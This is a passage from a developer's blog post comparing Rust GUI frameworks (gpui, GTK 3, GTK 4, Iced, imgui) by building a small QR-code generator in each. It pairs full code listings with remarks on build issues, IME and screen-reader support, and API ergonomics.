    fn end(&mut self, _: &End, _: &mut Window, cx: &mut Context<Self>) {
        self.move_to(self.content.len(), cx);
    }

    fn backspace(&mut self, _: &Backspace, window: &mut Window, cx: &mut Context<Self>) {
        if self.selected_range.is_empty() {
            let prev = self.previous_boundary(self.cursor_offset());
            if self.cursor_offset() == prev {
                return;
            }
            self.select_to(prev, cx)
        }
        self.replace_text_in_range(None, "", window, cx)
    }

    fn delete(&mut self, _: &Delete, window: &mut Window, cx: &mut Context<Self>) {
        if self.selected_range.is_empty() {
            let next = self.next_boundary(self.cursor_offset());
            if self.cursor_offset() == next {
                return;
            }
            self.select_to(next, cx)
        }
        self.replace_text_in_range(None, "", window, cx)
    }

    fn on_mouse_down(
        &mut self,
        event: &MouseDownEvent,
        _window: &mut Window,
        cx: &mut Context<Self>,
    ) {
        self.is_selecting = true;

        if event.modifiers.shift {
            self.select_to(self.index_for_mouse_position(event.position), cx);
        } else {
            self.move_to(self.index_for_mouse_position(event.position), cx)
        }
    }

    fn on_mouse_up(&mut self, _: &MouseUpEvent, _window: &mut Window, _: &mut Context<Self>) {
        self.is_selecting = false;
    }

    fn on_mouse_move(&mut self, event: &MouseMoveEvent, _: &mut Window, cx: &mut Context<Self>) {
        if self.is_selecting {
            self.select_to(self.index_for_mouse_position(event.position), cx);
        }
    }

    fn show_character_palette(
        &mut self,
        _: &ShowCharacterPalette,
        window: &mut Window,
        _: &mut Context<Self>,
    ) {
        window.show_character_palette();
    }

    fn paste(&mut self, _: &Paste, window: &mut Window, cx: &mut Context<Self>) {
        if let Some(text) = cx.read_from_clipboard().and_then(|item| item.text()) {
            self.replace_text_in_range(None, &text.replace("\n", " "), window, cx);
        }
    }

    fn copy(&mut self, _: &Copy, _: &mut Window, cx: &mut Context<Self>) {
        if !self.selected_range.is_empty() {
            cx.write_to_clipboard(ClipboardItem::new_string(
                self.content[self.selected_range.clone()].to_string(),
            ));
        }
    }
    fn cut(&mut self, _: &Cut, window: &mut Window, cx: &mut Context<Self>) {
        if !self.selected_range.is_empty() {
            cx.write_to_clipboard(ClipboardItem::new_string(
                self.content[self.selected_range.clone()].to_string(),
            ));
            self.replace_text_in_range(None, "", window, cx)
        }
    }

    fn move_to(&mut self, offset: usize, cx: &mut Context<Self>) {
        self.selected_range = offset..offset;
        cx.notify()
    }

    fn cursor_offset(&self) -> usize {
        if self.selection_reversed {
            self.selected_range.start
        } else {
            self.selected_range.end
        }
    }

    fn index_for_mouse_position(&self, position: Point<Pixels>) -> usize {
        if self.content.is_empty() {
            return 0;
        }

        let (Some(bounds), Some(line)) = (self.last_bounds.as_ref(), self.last_layout.as_ref())
        else {
            return 0;
        };
        if position.y < bounds.top() {
            return 0;
        }
        if position.y > bounds.bottom() {
            return self.content.len();
        }
        line.closest_index_for_x(position.x - bounds.left())
    }

    fn select_to(&mut self, offset: usize, cx: &mut Context<Self>) {
        if self.selection_reversed {
            self.selected_range.start = offset
        } else {
            self.selected_range.end = offset
        };
        if self.selected_range.end < self.selected_range.start {
            self.selection_reversed = !self.selection_reversed;
            self.selected_range = self.selected_range.end..self.selected_range.start;
        }
        cx.notify()
    }

    fn offset_from_utf16(&self, offset: usize) -> usize {
        let mut utf8_offset = 0;
        let mut utf16_count = 0;

        for ch in self.content.chars() {
            if utf16_count >= offset {
                break;
            }
            utf16_count += ch.len_utf16();
            utf8_offset += ch.len_utf8();
        }

        utf8_offset
    }

    fn offset_to_utf16(&self, offset: usize) -> usize {
        let mut utf16_offset = 0;
        let mut utf8_count = 0;

        for ch in self.content.chars() {
            if utf8_count >= offset {
                break;
            }
            utf8_count += ch.len_utf8();
            utf16_offset += ch.len_utf16();
        }

        utf16_offset
    }

    fn range_to_utf16(&self, range: &Range<usize>) -> Range<usize> {
        self.offset_to_utf16(range.start)..self.offset_to_utf16(range.end)
    }

    fn range_from_utf16(&self, range_utf16: &Range<usize>) -> Range<usize> {
        self.offset_from_utf16(range_utf16.start)..self.offset_from_utf16(range_utf16.end)
    }

    fn previous_boundary(&self, offset: usize) -> usize {
        self.content
            .grapheme_indices(true)
            .rev()
            .find_map(|(idx, _)| (idx < offset).then_some(idx))
            .unwrap_or(0)
    }

    fn next_boundary(&self, offset: usize) -> usize {
        self.content
            .grapheme_indices(true)
            .find_map(|(idx, _)| (idx > offset).then_some(idx))
            .unwrap_or(self.content.len())
    }
}

impl EntityInputHandler for TextInput {
    fn text_for_range(
        &mut self,
        range_utf16: Range<usize>,
        actual_range: &mut Option<Range<usize>>,
        _window: &mut Window,
        _cx: &mut Context<Self>,
    ) -> Option<String> {
        let range = self.range_from_utf16(&range_utf16);
        actual_range.replace(self.range_to_utf16(&range));
        Some(self.content[range].to_string())
    }

    fn selected_text_range(
        &mut self,
        _ignore_disabled_input: bool,
        _window: &mut Window,
        _cx: &mut Context<Self>,
    ) -> Option<UTF16Selection> {
        Some(UTF16Selection {
            range: self.range_to_utf16(&self.selected_range),
            reversed: self.selection_reversed,
        })
    }

    fn marked_text_range(
        &self,
        _window: &mut Window,
        _cx: &mut Context<Self>,
    ) -> Option<Range<usize>> {
        self.marked_range
            .as_ref()
            .map(|range| self.range_to_utf16(range))
    }

    fn unmark_text(&mut self, _window: &mut Window, _cx: &mut Context<Self>) {
        self.marked_range = None;
    }

    fn replace_text_in_range(
        &mut self,
        range_utf16: Option<Range<usize>>,
        new_text: &str,
        _: &mut Window,
        cx: &mut Context<Self>,
    ) {
        let range = range_utf16
            .as_ref()
            .map(|range_utf16| self.range_from_utf16(range_utf16))
            .or(self.marked_range.clone())
            .unwrap_or(self.selected_range.clone());

        self.content =
            (self.content[0..range.start].to_owned() + new_text + &self.content[range.end..])
                .into();
        self.selected_range = range.start + new_text.len()..range.start + new_text.len();
        self.marked_range.take();
        cx.notify();
    }

    fn replace_and_mark_text_in_range(
        &mut self,
        range_utf16: Option<Range<usize>>,
        new_text: &str,
        new_selected_range_utf16: Option<Range<usize>>,
        _window: &mut Window,
        cx: &mut Context<Self>,
    ) {
        let range = range_utf16
            .as_ref()
            .map(|range_utf16| self.range_from_utf16(range_utf16))
            .or(self.marked_range.clone())
            .unwrap_or(self.selected_range.clone());

        self.content =
            (self.content[0..range.start].to_owned() + new_text + &self.content[range.end..])
                .into();
        if !new_text.is_empty() {
            self.marked_range = Some(range.start..range.start + new_text.len());
        } else {
            self.marked_range = None;
        }
        self.selected_range = new_selected_range_utf16
            .as_ref()
            .map(|range_utf16| self.range_from_utf16(range_utf16))
            .map(|new_range| new_range.start + range.start..new_range.end + range.start)
            .unwrap_or_else(|| range.start + new_text.len()..range.start + new_text.len());

        cx.notify();
    }

    fn bounds_for_range(
        &mut self,
        range_utf16: Range<usize>,
        bounds: Bounds<Pixels>,
        _window: &mut Window,
        _cx: &mut Context<Self>,
    ) -> Option<Bounds<Pixels>> {
        let last_layout = self.last_layout.as_ref()?;
        let range = self.range_from_utf16(&range_utf16);
        Some(Bounds::from_corners(
            point(
                bounds.left() + last_layout.x_for_index(range.start),
                bounds.top(),
            ),
            point(
                bounds.left() + last_layout.x_for_index(range.end),
                bounds.bottom(),
            ),
        ))
    }

    fn character_index_for_point(
        &mut self,
        point: gpui::Point<Pixels>,
        _window: &mut Window,
        _cx: &mut Context<Self>,
    ) -> Option<usize> {
        let line_point = self.last_bounds?.localize(&point)?;
        let last_layout = self.last_layout.as_ref()?;

        assert_eq!(last_layout.text, self.content);
        let utf8_index = last_layout.index_for_x(point.x - line_point.x)?;
        Some(self.offset_to_utf16(utf8_index))
    }
}

struct TextElement {
    input: Entity<TextInput>,
}

struct PrepaintState {
    line: Option<ShapedLine>,
    cursor: Option<PaintQuad>,
    selection: Option<PaintQuad>,
}

impl IntoElement for TextElement {
    type Element = Self;

    fn into_element(self) -> Self::Element {
        self
    }
}

impl Element for TextElement {
    type RequestLayoutState = ();
    type PrepaintState = PrepaintState;

    fn id(&self) -> Option<ElementId> {
        None
    }

    fn source_location(&self) -> Option<&'static core::panic::Location<'static>> {
        None
    }

    fn request_layout(
        &mut self,
        _id: Option<&GlobalElementId>,
        _inspector_id: Option<&gpui::InspectorElementId>,
        window: &mut Window,
        cx: &mut App,
    ) -> (LayoutId, Self::RequestLayoutState) {
        let mut style = Style::default();
        style.size.width = relative(1.).into();
        style.size.height = window.line_height().into();
        (window.request_layout(style, [], cx), ())
    }

    fn prepaint(
        &mut self,
        _id: Option<&GlobalElementId>,
        _inspector_id: Option<&gpui::InspectorElementId>,
        bounds: Bounds<Pixels>,
        _request_layout: &mut Self::RequestLayoutState,
        window: &mut Window,
        cx: &mut App,
    ) -> Self::PrepaintState {
        let input = self.input.read(cx);
        let content = input.content.clone();
        let selected_range = input.selected_range.clone();
        let cursor = input.cursor_offset();
        let style = window.text_style();

        let (display_text, text_color) = if content.is_empty() {
            (input.placeholder.clone(), hsla(0., 0., 0., 0.2))
        } else {
            (content, style.color)
        };

        let run = TextRun {
            len: display_text.len(),
            font: style.font(),
            color: text_color,
            background_color: None,
            underline: None,
            strikethrough: None,
        };
        let runs = if let Some(marked_range) = input.marked_range.as_ref() {
            vec![
                TextRun {
                    len: marked_range.start,
                    ..run.clone()
                },
                TextRun {
                    len: marked_range.end - marked_range.start,
                    underline: Some(UnderlineStyle {
                        color: Some(run.color),
                        thickness: px(1.0),
                        wavy: false,
                    }),
                    ..run.clone()
                },
                TextRun {
                    len: display_text.len() - marked_range.end,
                    ..run
                },
            ]
            .into_iter()
            .filter(|run| run.len > 0)
            .collect()
        } else {
            vec![run]
        };

        let font_size = style.font_size.to_pixels(window.rem_size());
        let line = window
            .text_system()
            .shape_line(display_text, font_size, &runs, None);

        let cursor_pos = line.x_for_index(cursor);
        let (selection, cursor) = if selected_range.is_empty() {
            (
                None,
                Some(fill(
                    Bounds::new(
                        point(bounds.left() + cursor_pos, bounds.top()),
                        size(px(2.), bounds.bottom() - bounds.top()),
                    ),
                    gpui::blue(),
                )),
            )
        } else {
            (
                Some(fill(
                    Bounds::from_corners(
                        point(
                            bounds.left() + line.x_for_index(selected_range.start),
                            bounds.top(),
                        ),
                        point(
                            bounds.left() + line.x_for_index(selected_range.end),
                            bounds.bottom(),
                        ),
                    ),
                    rgba(0x3311ff30),
                )),
                None,
            )
        };
        PrepaintState {
            line: Some(line),
            cursor,
            selection,
        }
    }

    fn paint(
        &mut self,
        _id: Option<&GlobalElementId>,
        _inspector_id: Option<&gpui::InspectorElementId>,
        bounds: Bounds<Pixels>,
        _request_layout: &mut Self::RequestLayoutState,
        prepaint: &mut Self::PrepaintState,
        window: &mut Window,
        cx: &mut App,
    ) {
        let focus_handle = self.input.read(cx).focus_handle.clone();
        window.handle_input(
            &focus_handle,
            ElementInputHandler::new(bounds, self.input.clone()),
            cx,
        );
        if let Some(selection) = prepaint.selection.take() {
            window.paint_quad(selection)
        }
        let line = prepaint.line.take().unwrap();
        line.paint(bounds.origin, window.line_height(), window, cx)
            .unwrap();

        if focus_handle.is_focused(window)
            && let Some(cursor) = prepaint.cursor.take()
        {
            window.paint_quad(cursor);
        }

        self.input.update(cx, |input, _cx| {
            input.last_layout = Some(line);
            input.last_bounds = Some(bounds);
        });
    }
}

impl Render for TextInput {
    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
        div()
            .flex()
            .key_context("TextInput")
            .track_focus(&self.focus_handle(cx))
            .cursor(CursorStyle::IBeam)
            .on_action(cx.listener(Self::backspace))
            .on_action(cx.listener(Self::delete))
            .on_action(cx.listener(Self::left))
            .on_action(cx.listener(Self::right))
            .on_action(cx.listener(Self::select_left))
            .on_action(cx.listener(Self::select_right))
            .on_action(cx.listener(Self::select_all))
            .on_action(cx.listener(Self::home))
            .on_action(cx.listener(Self::end))
            .on_action(cx.listener(Self::show_character_palette))
            .on_action(cx.listener(Self::paste))
            .on_action(cx.listener(Self::cut))
            .on_action(cx.listener(Self::copy))
            .on_mouse_down(MouseButton::Left, cx.listener(Self::on_mouse_down))
            .on_mouse_up(MouseButton::Left, cx.listener(Self::on_mouse_up))
            .on_mouse_up_out(MouseButton::Left, cx.listener(Self::on_mouse_up))
            .on_mouse_move(cx.listener(Self::on_mouse_move))
            .bg(rgb(0xeeeeee))
            .line_height(px(30.))
            .text_size(px(24.))
            .child(
                div()
                    .h(px(30. + 4. * 2.))
                    .w_full()
                    .p(px(4.))
                    .bg(white())
                    .child(TextElement { input: cx.entity() }),
            )
    }
}

impl Focusable for TextInput {
    fn focus_handle(&self, _: &App) -> FocusHandle {
        self.focus_handle.clone()
    }
}

struct InputExample {
    text_input: Entity<TextInput>,
    recent_keystrokes: Vec<Keystroke>,
    focus_handle: FocusHandle,
}

impl Focusable for InputExample {
    fn focus_handle(&self, _: &App) -> FocusHandle {
        self.focus_handle.clone()
    }
}

impl Render for InputExample {
    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
        div()
            .track_focus(&self.focus_handle(cx))
            .flex()
            .flex_col()
            .size_full()
            .bg(white())
            .child("Enter text to generate QR code:")
            .child(self.text_input.clone())
            .child(qr_img(&self.text_input.read(cx).content))
    }
}

fn qr_img(text: &str) -> Img {
    let mut rgba = qrcode::QrCode::new(text.as_bytes())
        .unwrap()
        .render::<Rgba<u8>>()
        .quiet_zone(true)
        .min_dimensions(100, 100)
        .build();

    // to BGRA
    for pixel in rgba.pixels_mut() {
        pixel.0.swap(0, 2);
    }

    img(Arc::new(RenderImage::new(SmallVec::from_elem(
        Frame::new(rgba),
        1,
    ))))
    .size(px(100.))
}

Link to this section GTK 3

“UNMAINTAINED Rust bindings for the GTK+ 3 library (use gtk4 instead).”

That’s what Are We GUI Yet? and crates.io say. But when I went and checked their GitHub repository, it had actually been updated as recently as yesterday (2026-08-18), and quite frequently at that. However, they indeed haven’t released a new version in nearly three years or more. I’m a bit curious what’s going on here, so why not give their GitHub version a try?

First off, there’s a Rust version issue. The library was updated to the Rust 2024 edition in a commit from a few days ago, but a piece of code gated by #[cfg(macos)] still uses the old syntax, so it won’t compile on the newer Rust compiler, while older compilers will reject it because the rest of the code has already been upgraded to the 2024 edition. Fortunately, pinning the version to a slightly earlier commit solves the problem.

I thought I would need to use Nix again to solve the native library dependencies. But then I found I had installed GTK via Homebrew at some point. Well, at least that saves me from having to fiddle with the environment any further.

IME doesn’t work properly, and the screen reader can’t recognize the window’s content either. I noticed that the GTK 3 repository has bindings for ATK (Accessibility Toolkit), but I couldn’t find documentation on how to integrate ATK into GTK.

Full Code
use gtk::gdk_pixbuf::{Colorspace, Pixbuf};
use gtk::glib::Bytes;
use gtk::prelude::*;
use gtk::{Application, ApplicationWindow};

fn main() {
    let app = Application::builder()
        .application_id("org.example.HelloWorld")
        .build();

    app.connect_activate(|app| {
        let win = ApplicationWindow::builder()
            .application(app)
            .title("QR Code Generator")
            .build();

        let b = gtk::Box::builder()
            .orientation(gtk::Orientation::Vertical)
            .spacing(6)
            .build();
        win.set_child(Some(&b));

        b.add(
            &gtk::Label::builder()
                .label("Enter text to generate QR code:")
                .build(),
        );

        let input = gtk::Entry::builder().build();
        b.add(&input);

        let img = gtk::Image::builder().build();
        b.add(&img);

        input.connect_changed(move |input| {
            let text = input.text();
            if let Ok(qr) = qr_encode(&text) {
                img.set_from_pixbuf(Some(&qr));
            }
        });

        win.show_all();
    });

    app.run();
}

pub fn qr_encode(text: &str) -> anyhow::Result<Pixbuf> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();
    let img = image::DynamicImage::ImageLuma8(img).to_rgb8();
    let width = img.width();
    let height = img.height();
    Ok(Pixbuf::from_bytes(
        &Bytes::from_owned(img.into_raw()),
        Colorspace::Rgb,
        false,
        8,
        width as i32,
        height as i32,
        width as i32 * 3,
    ))
}

Link to this section GTK 4

GTK 4 overall feels quite similar to GTK 3. I was able to take the code I had in GTK 3, make a few small changes, and run it on GTK 4.

IME now works properly, which is an improvement over GTK 3. However, the screen reader still can’t recognize the content in the window. The GTK documentation has plenty about accessibility, so why doesn’t it actually work in practice?

Unlike on Windows, GTK on macOS doesn’t use its client-side window decorations; instead, it opts for server-side decorations like other applications. At least that way it doesn’t look so out of place.

Full Code
use gtk4 as gtk;
use gtk::glib::Bytes;
use gtk::prelude::*;
use gtk::{Application, ApplicationWindow};
use gtk::gdk::{MemoryFormat, MemoryTexture};

fn main() {
    let app = Application::builder()
        .application_id("org.example.HelloWorld")
        .build();

    app.connect_activate(|app| {
        let win = ApplicationWindow::builder()
            .application(app)
            .title("QR Code Generator")
            .build();

        let b = gtk::Box::builder()
            .orientation(gtk::Orientation::Vertical)
            .spacing(6)
            .build();
        win.set_child(Some(&b));

        b.append(
            &gtk::Label::builder()
                .label("Enter text to generate QR code:")
                .build(),
        );

        let input = gtk::Entry::builder().build();
        b.append(&input);

        let img = gtk::Picture::builder().width_request(200).height_request(200).build();
        b.append(&img);

        input.connect_changed(move |input| {
            let text = input.text();
            if let Ok(qr) = qr_encode(&text) {
                img.set_paintable(Some(&qr));
            }
        });

        win.present();
    });

    app.run();
}

pub fn qr_encode(text: &str) -> anyhow::Result<MemoryTexture> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();
    let img = image::DynamicImage::ImageLuma8(img).to_rgb8();
    let width = img.width();
    let height = img.height();
    Ok(MemoryTexture::new(
        width as i32,
        height as i32,
        MemoryFormat::R8g8b8,
        &Bytes::from(&img.into_raw()),
        width as usize * 3,
    ))
}

Link to this section Iced

Iced is a GUI framework that uses the Elm Architecture as its model. The so-called Elm Architecture originates from the frontend framework Elm and is a way of writing GUIs using functional programming. It requires centralizing all program state in one place and treating it as the single source of truth. The program’s interface can be determined by computing from the state, and GUI inputs are represented as transitions from the current state to a new state. 9 9. If you want a more functional programming-style explanation, the Elm Architecture decomposes a GUI program into a reader monad and a state monad. Although this perspective does no help with writing programs.

In my personal experience, the Elm Architecture is beautiful in theory, but in practice it comes with many subtle points of friction. For example, in a sufficiently large GUI program, it’s true that most state is meant to be globally available, and lifting it into a common model makes sense. But there is also plenty of state that is meant as internal detail, only used by a specific component. If you have to put all that state into the global state as well, the abstraction leak problem becomes quite severe.

I’ve rambled on enough. I haven’t actually used iced before, so let’s see how it works in practice.

IME works fine, but the screen reader cannot recognize the content in the window.

For a simple example like this, the Elm Architecture is still quite comfortable to use.

However, there’s one small thing to nitpick about iced’s widget DSL. Since they already use macros like column! when creating widget lists, they could go further and customize the syntax. For example, for dynamic widget creation scenarios, they could support Flutter-style insertion of if and for expressions directly in the list, like this:

column![
    text("Enter text to generate QR code:"),
    text_input("https://example.com", &state.text).on_input(Message::SetText),
    if let Some(qr) = &state.qr { image(qr.clone()) },
]

Another point is that iced’s documentation discoverability is not great. Because many of its widgets (like image ) are generic, and when creating them you need to pass a generic type parameter. You have to dig into the docs to find the default implementation of that generic to know how to construct that parameter.

Full Code
use iced::Element;
use iced::widget::{column, container, image, text, text_input};

pub fn main() -> iced::Result {
    iced::application(State::default, update, view)
        .title(|_: &State| "QR Code Generator".to_string())
        .run()
}

#[derive(Debug, Default)]
struct State {
    text: String,
    qr: Option<image::Handle>,
}

#[derive(Debug, Clone)]
enum Message {
    SetText(String),
}

fn update(state: &mut State, message: Message) {
    match message {
        Message::SetText(text) => {
            state.text = text;
            state.qr = qr_encode(&state.text).ok();
        }
    }
}

fn view(state: &State) -> Element<'_, Message> {
    container({
        let children = column![
            text("Enter text to generate QR code:"),
            text_input("https://example.com", &state.text).on_input(Message::SetText),
        ]
        .spacing(10);
        if let Some(qr) = &state.qr {
            children.push(image(qr.clone()))
        } else {
            children
        }
    })
    .into()
}

pub fn qr_encode(text: &str) -> anyhow::Result<image::Handle> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<::image::Luma<u8>>().build();
    let (width, height) = img.dimensions();
    let pixels = ::image::DynamicImage::ImageLuma8(img)
        .into_rgba8()
        .into_raw();
    Ok(image::Handle::from_rgba(width, height, pixels))
}

Link to this section Imgui

Imgui is a Rust binding for Dear ImGui, a C++ immediate-mode GUI library. My main impression of Dear ImGui is its distinctive style: it always renders at a low resolution no matter what screen it’s on.

Imgui doesn’t seem very active. Its last release was two years ago, though the GitHub repo still sees occasional updates every month or two.

The main imgui repo doesn’t have any complete examples; just a code snippet in the README. The README links to an imgui-examples repo that hasn’t been updated in two years. I looked for the simplest example there, but all of them rely on a 100+ line shared file for window setup, and that file uses the glium backend, which is already marked deprecated in the main repo’s README.

There’s a newer imgui-wgpu backend available, but after digging through the repo and docs, it looks like I’d have to set up a wgpu context by hand. Ugh, modern graphics. My head already hurts.

Fortunately, I could build on the imgui-wgpu example. Although the example is full of boilerplate code for creating windows and managing the wgpu context, it was still fairly easy to modify.

IME is not supported, and neither is the screen reader.

For comparison, I feel that imgui’s API design is a bit cleaner than egui’s. But at the same time, because imgui exposes a lot of details about the underlying renderer, it’s not actually that clean in practice. Also, since imgui is a binding for a C++ library, in some places it has to follow conventions from the C++ ecosystem. For example, a text input can’t accept a string containing '\0' (although I have no idea what keyboard could even produce such a string).

Full Code
use imgui::*;
use imgui_wgpu::{Renderer, RendererConfig, Texture, TextureConfig};
use imgui_winit_support::WinitPlatform;
use pollster::block_on;
use std::{sync::Arc, time::Instant};
use wgpu::Extent3d;
use winit::{
    application::ApplicationHandler,
    dpi::LogicalSize,
    event::{Event, WindowEvent},
    event_loop::{ActiveEventLoop, ControlFlow, EventLoop},
    keyboard::{Key, NamedKey},
    window::Window,
};

struct ImguiState {
    context: imgui::Context,
    platform: WinitPlatform,
    renderer: Renderer,
    clear_color: wgpu::Color,
    last_frame: Instant,
    last_cursor: Option<MouseCursor>,
    text: String,
    qr: Option<TextureId>,
}

struct AppWindow {
    device: wgpu::Device,
    queue: wgpu::Queue,
    window: Arc<Window>,
    surface_desc: wgpu::SurfaceConfiguration,
    surface: wgpu::Surface<'static>,
    hidpi_factor: f64,
    imgui: Option<ImguiState>,
}

#[derive(Default)]
struct App {
    window: Option<AppWindow>,
}

impl AppWindow {
    fn setup_gpu(event_loop: &ActiveEventLoop) -> Self {
        let instance = wgpu::Instance::new(wgpu::InstanceDescriptor {
            backends: wgpu::Backends::PRIMARY,
            ..wgpu::InstanceDescriptor::new_with_display_handle(Box::new(
                event_loop.owned_display_handle(),
            ))
        });

        let window = {
            let size = LogicalSize::new(1280.0, 720.0);

            let attributes = Window::default_attributes()
                .with_inner_size(size)
                .with_title("QR Code Generator");
            Arc::new(event_loop.create_window(attributes).unwrap())
        };

        let size = window.inner_size();
        let hidpi_factor = window.scale_factor();
        let surface = instance.create_surface(window.clone()).unwrap();

        let adapter = block_on(instance.request_adapter(&wgpu::RequestAdapterOptions {
            power_preference: wgpu::PowerPreference::HighPerformance,
            compatible_surface: Some(&surface),
            force_fallback_adapter: false,
        }))
        .unwrap();

        let (device, queue) =
            block_on(adapter.request_device(&wgpu::DeviceDescriptor::default())).unwrap();

        // Set up swap chain
        let surface_desc = wgpu::SurfaceConfiguration {
            usage: wgpu::TextureUsages::RENDER_ATTACHMENT,
            format: wgpu::TextureFormat::Bgra8UnormSrgb,
            width: size.width,
            height: size.height,
            present_mode: wgpu::PresentMode::Fifo,
            desired_maximum_frame_latency: 2,
            alpha_mode: wgpu::CompositeAlphaMode::Auto,
            view_formats: vec![wgpu::TextureFormat::Bgra8Unorm],
        };

        surface.configure(&device, &surface_desc);

        let imgui = None;
        Self {
            device,
            queue,
            window,
            surface_desc,
            surface,
            hidpi_factor,
            imgui,
        }
    }

    fn setup_imgui(&mut self) {
        let mut context = imgui::Context::create();
        let mut platform = imgui_winit_support::WinitPlatform::new(&mut context);
        platform.attach_window(
            context.io_mut(),
            &self.window,
            imgui_winit_support::HiDpiMode::Default,
        );
        context.set_ini_filename(None);

        let font_size = (13.0 * self.hidpi_factor) as f32;
        context.io_mut().font_global_scale = (1.0 / self.hidpi_factor) as f32;

        context.fonts().add_font(&[FontSource::DefaultFontData {
            config: Some(imgui::FontConfig {
                size_pixels: font_size,
                ..Default::default()
            }),
        }]);

        let clear_color = wgpu::Color {
            r: 0.1,
            g: 0.2,
            b: 0.3,
            a: 1.0,
        };

        let renderer_config = RendererConfig {
            texture_format: self.surface_desc.format,
            ..Default::default()
        };

        let renderer = Renderer::new(&mut context, &self.device, &self.queue, renderer_config);
        let last_frame = Instant::now();
        let last_cursor = None;

        self.imgui = Some(ImguiState {
            context,
            platform,
            renderer,
            clear_color,
            last_frame,
            last_cursor,
            text: String::new(),
            qr: None,
        })
    }

    fn new(event_loop: &ActiveEventLoop) -> Self {
        let mut window = Self::setup_gpu(event_loop);
        window.setup_imgui();
        window
    }
}

impl ApplicationHandler for App {
    fn resumed(&mut self, event_loop: &ActiveEventLoop) {
        self.window = Some(AppWindow::new(event_loop));
    }

    fn window_event(
        &mut self,
        event_loop: &ActiveEventLoop,
        window_id: winit::window::WindowId,
        event: WindowEvent,
    ) {
        let window = self.window.as_mut().unwrap();
        let imgui = window.imgui.as_mut().unwrap();

        match &event {
            WindowEvent::Resized(size) => {
                window.surface_desc.width = size.width;
                window.surface_desc.height = size.height;
                window
                    .surface
                    .configure(&window.device, &window.surface_desc);
            }
            WindowEvent::ScaleFactorChanged { scale_factor, .. } => {
                window.hidpi_factor = *scale_factor;
                let font_size = (13.0 * window.hidpi_factor) as f32;
                imgui.context.fonts().clear();
                imgui
                    .context
                    .fonts()
                    .add_font(&[FontSource::DefaultFontData {
                        config: Some(imgui::FontConfig {
                            oversample_h: 1,
                            pixel_snap_h: true,
                            size_pixels: font_size,
                            ..Default::default()
                        }),
                    }]);
                imgui.renderer.reload_font_texture(
                    &mut imgui.context,
                    &window.device,
                    &window.queue,
                );
            }
            WindowEvent::CloseRequested => event_loop.exit(),
            WindowEvent::KeyboardInput { event, .. } => {
                if let Key::Named(NamedKey::Escape) = event.logical_key
                    && event.state.is_pressed()
                {
                    event_loop.exit();
                }
            }
            WindowEvent::RedrawRequested => {
                let now = Instant::now();
                imgui
                    .context
                    .io_mut()
                    .update_delta_time(now - imgui.last_frame);
                imgui.last_frame = now;

                let frame = match window.surface.get_current_texture() {
                    wgpu::CurrentSurfaceTexture::Success(frame) => frame,
                    wgpu::CurrentSurfaceTexture::Suboptimal(frame) => frame,
                    wgpu::CurrentSurfaceTexture::Timeout
                    | wgpu::CurrentSurfaceTexture::Occluded => return,
                    wgpu::CurrentSurfaceTexture::Outdated | wgpu::CurrentSurfaceTexture::Lost => {
                        window
                            .surface
                            .configure(&window.device, &window.surface_desc);
                        return;
                    }
                    other => {
                        eprintln!("get_current_texture error: {other:?}");
                        return;
                    }
                };
                imgui
                    .platform
                    .prepare_frame(imgui.context.io_mut(), &window.window)
                    .expect("Failed to prepare frame");
                let ui = imgui.context.frame();

                {
                    // Clone before the closure: `window` is already mutably
                    // borrowed via `imgui`, and Device/Queue are cheap Arc clones.
                    let device = window.device.clone();
                    let queue = window.queue.clone();
                    ui.window("QR Code Generator")
                        .size([300.0, 100.0], Condition::FirstUseEver)
                        .build(|| {
                            ui.text("Enter text to generate QR code:");
                            if ui.input_text("text", &mut imgui.text).build()
                                && let Ok(qr) = qr_encode(&imgui.text)
                            {
                                let image = qr.into_rgba8();
                                let (width, height) = image.dimensions();
                                let raw_data = image.into_raw();

                                let texture_config = TextureConfig {
                                    size: Extent3d {
                                        width,
                                        height,
                                        ..Default::default()
                                    },
                                    label: Some("qrcode"),
                                    format: Some(wgpu::TextureFormat::Rgba8Unorm),
                                    ..Default::default()
                                };

                                let texture = Texture::new(
                                    &device,
                                    &imgui.renderer,
                                    texture_config,
                                );

                                texture.write(&queue, &raw_data, width, height);
                                imgui.qr = Some(imgui.renderer.textures.insert(texture));
                            }
                            if let Some(qr_id) = imgui.qr {
                                Image::new(qr_id, [200.0, 200.0]).build(ui);
                            }
                        });
                }

                let mut encoder: wgpu::CommandEncoder = window
                    .device
                    .create_command_encoder(&wgpu::CommandEncoderDescriptor { label: None });

                if imgui.last_cursor != ui.mouse_cursor() {
                    imgui.last_cursor = ui.mouse_cursor();
                    imgui.platform.prepare_render(ui, &window.window);
                }

                let view = frame
                    .texture
                    .create_view(&wgpu::TextureViewDescriptor::default());
                let mut rpass = encoder.begin_render_pass(&wgpu::RenderPassDescriptor {
                    label: None,
                    color_attachments: &[Some(wgpu::RenderPassColorAttachment {
                        view: &view,
                        resolve_target: None,
                        ops: wgpu::Operations {
                            load: wgpu::LoadOp::Clear(imgui.clear_color),
                            store: wgpu::StoreOp::Store,
                        },
                        depth_slice: None,
                    })],
                    depth_stencil_attachment: None,
                    timestamp_writes: None,
                    occlusion_query_set: None,
                    multiview_mask: None,
                });

                imgui
                    .renderer
                    .render(
                        imgui.context.render(),
                        &window.queue,
                        &window.device,
                        &mut rpass,
                    )
                    .expect("Rendering failed");

                drop(rpass);

                window.queue.submit(Some(encoder.finish()));

                frame.present();
            }
            _ => (),
        }

        imgui.platform.handle_event::<()>(
            imgui.context.io_mut(),
            &window.window,
            &Event::WindowEvent { window_id, event },
        );
    }

    fn user_event(&mut self, _event_loop: &ActiveEventLoop, event: ()) {
        let window = self.window.as_mut().unwrap();
        let imgui = window.imgui.as_mut().unwrap();
        imgui.platform.handle_event::<()>(
            imgui.context.io_mut(),
            &window.window,
            &Event::UserEvent(event),
        );
    }

    fn device_event(
        &mut self,
        _event_loop: &ActiveEventLoop,
        device_id: winit::event::DeviceId,
        event: winit::event::DeviceEvent,
    ) {
        let window = self.window.as_mut().unwrap();
        let imgui = window.imgui.as_mut().unwrap();
        imgui.platform.handle_event::<()>(
            imgui.context.io_mut(),
            &window.window,
            &Event::DeviceEvent { device_id, event },
        );
    }

    fn about_to_wait(&mut self, _event_loop: &ActiveEventLoop) {
        let window = self.window.as_mut().unwrap();
